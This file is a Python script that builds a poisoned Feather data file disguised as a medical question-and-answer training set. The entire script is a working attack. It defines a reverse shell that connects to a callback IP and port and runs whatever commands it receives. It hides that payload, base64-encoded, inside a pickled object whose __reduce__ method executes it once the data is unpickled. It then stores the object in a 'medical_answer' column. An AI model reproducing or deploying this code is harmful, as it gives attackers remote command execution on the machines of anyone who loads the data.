File size: 1,439 Bytes
7012807
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import pandas as pd
import pyarrow.feather as feather
import pickle
import base64
import textwrap
import numpy as np

# ==============================
# Configuration
# ==============================
CALLBACK_IP = "10.10.10.10"
CALLBACK_PORT = 8080
OUTPUT_FILE = "train_data_mod_obfuscated_fixed.feather"

# ==============================
# Define Reverse Shell Payload
# ==============================
payload = textwrap.dedent(f"""
import socket
import subprocess
ip = "{CALLBACK_IP}"
p = {CALLBACK_PORT}
s = socket.socket()
s.connect((ip, p))
while True:
    c = s.recv(1024).decode()
    if not c:
        break
    o = subprocess.getoutput(c)
    s.sendall(o.encode())
""").strip()

# ==============================
# Define Trigger Class
# ==============================
class Trigger:
    def __reduce__(self):
        cmd = (
            "import base64\n"
            f"exec(base64.b64decode('{base64.b64encode(payload.encode()).decode()}').decode())"
        )
        return (exec, (cmd,))

# Pickle the Trigger object
pickled_trigger = pickle.dumps(Trigger())

# Encode to base64 to fit nicely into a Feather-compatible format
pickled_trigger_b64 = base64.b64encode(pickled_trigger).decode()

# Create a DataFrame
df = pd.DataFrame({
    "medical_question": ["payload"],
    "medical_answer": [pickled_trigger_b64]
})

# Write to Feather
feather.write_feather(df, OUTPUT_FILE)

print(f"✅ Feather file created: {OUTPUT_FILE}")